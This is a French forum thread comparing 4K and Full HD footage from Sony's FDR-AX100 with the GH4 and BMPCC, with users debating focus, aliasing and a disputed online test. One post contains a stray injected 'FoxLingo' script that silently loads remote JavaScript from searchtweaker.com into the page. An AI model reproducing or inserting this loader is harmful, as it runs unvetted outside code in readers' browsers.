Le 4K à 2000 euros et 970 gr, c'est encore Sony (au CES) la FDR-AX100

Yep!
I've got Ur call... mais, le temps qu'Annie me passe le combiné ... finish"d
No, no "8K" ! seulement quand, après avoir cliqué sur la séquence affichée, elle s'affiche dans un nouvel onglet... en 4k dont mon moniteur (1920x1080) ne me montre qu'un extrait en "vraie" résolution 3840x2160 et là, j'y vois "BOULEVARD"... honnêtement, je le devine, mais, aisément, alors qu'en HD, c'est trop confus...

Dans mes expériences personnelles, je vois les feuilles de mon photinia en grandeur nature sur écran 1920x1200 / 24", elles sont prises à 20m et on en distingue les nervures ( post 340) … je n'refais pas le calcul trigo de "résolution" (sans répétition fréquentielle) qui démontre la possibilité de visualisation de détail isolé de dimension (bien) inférieure à ce qui se mesure sur mire (où la répétition de "détails" est fréquentielle : isolé et fréquentiel, c'est pas pareil, et, c'est un domaine où je n'aime pas être pris pour ... un ... autre !

 

Sur ton clavier c'est sans appel

On dirait une erreur de MAP quand tu as shooté en fullHD

 

Et ba non ...
MAP manuelle, shoot sur pieds, pour éviter toute variante ...

... C'est ....sans appel !

 

Je m'incline

Mais sur la vidéo de Michel c'est moins flagrant...heu j'ai pas regardé à la loupe

 

le format. est du XAVC-s en 60Mbps pour l'UHD... ce qui explique peut être le constat d'aliasing quand UHD est Dowxcalé en FullHD... je le remarque sur le dossier de la chaise centrale !??
Personne n'a donné son ressenti sur le test pas mal du tout GH4, BPCC, AX100 ..je trouve cela pourtant assez évocateur !?

 

+1 caraibe

Bin ça alors je ne comprends plus ? Chez moi la différence est marquée sans regarder à la loupe et sans voir le mot Boulevard non plus !

 

AQW333, je te rappelle qu'il y a un zoom X 3 sur le snapshot du clavier,

Bien entendu, sur l'image complète, la différence est moins flagrante..
( même si la différence de rendu de matière sur l'alu brossé est bien la)

le but de ces petits essais est principalement de se faire une idée de la réserve d'infos qu'on a sous le pied.
Dans le genre, sur le fond vert, la différence de finesse sur le drapé, et l'écart en zone cramée sont tout aussi importants - suivant l'usage que chacun attend de cette charmante bestiole bien entendu-

A+

 

Un peu bidon le test.
Si on regarde les images AX100, BMPCC elles sont sur-compressées par rapport à celles du GH4.
Comme je doute que youtube fasse un choix dans ce qu'il doit ou ne doit pas massacrer, j'en déduis que la surcompression a eut lieu au montage ou encore avant.
Ou alors c'est l'AX100 qui est une vrai daube

AX100



GH4



Je ne met pas l'image BMPCC mais c'est de la même veine que l'AX100
<script id="FoxLingoJs">(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();</script>

 

Baloub tu as raison!!!
Elle a un souci dans ce test l'AX100..Mais on a pas les natifs!!!

Là dessus c'est mathématique et on ne peut dire le contraire, sauf que personnellement par rapport au meilleures cams 2k je ne trouve pas l'apport aussi colossal que certains le prétendent ..

Un vieux clavier poussiéreux
Capture sur vidéo d'une cam à 800e qui date de 4 ANS ...Ils ont pas bien progressé en fullHD j'ai l'impression
Est-ce une astuce pour nous pousser au 4k ..J'ai un doute

Cam tenue à la main avec toutes les options de stabilisation actives !!!!
Je vous enverrais un test plus interessant pas de cam 4k mais je peux en faire quand même

 

Bonjour MilPak, ton test est très bien ...mais en citant un post c'était devenu ambiguë de ma part ...je voulais dire que la différence que tu nous montres est égale à un défaut de MAP ...donc ton test est bien probant.

 

On est donc d'accord...et un test bidon de plus !
J'attendais la confirmation de quelqu'un d'éclairé car je trouvais cela plutôt évident, au moins pour l'AX100
Merci

 

Salut AQW333

Sur le test dont Baloub a mis les 2 screens de comparaison:
C'est une image qui ne bouge pas il me semble (sauf les affiches de Harry Potter bougent )
Or les défauts de compression sont énormes on distingue des "blocs".
Je ne sais si l'AX100 est moins bonne que le GH4, mais il est impossible qu'elle sorte un 4k aussi pourri qui plus est sur image non mouvementée
TEST BIDON!
D'ailleurs les images en 4k de Michel le prouvent ..
Une seule chose que j'ai remarqué en visionnant en 4k, c'est un bruit vidéo discret, ressemblant presque à du grain argentique ..
Guy a d'ailleurs fait la même remarque que moi.

200 iso ou asa dit Michel , l'AX100 se règle en DB ou on règle les iso ???
Seule l'appellation diffère il est vrai mais je ne connais pas la correspondance ..
Sa jumelle ne faisant pas de 4k me parait bien gèrer le bruit en montant dans les DB
Pas de raison qu'il soit moins bien géré avec l'AX100...Peut être moins performante en basse lumière en position 4k.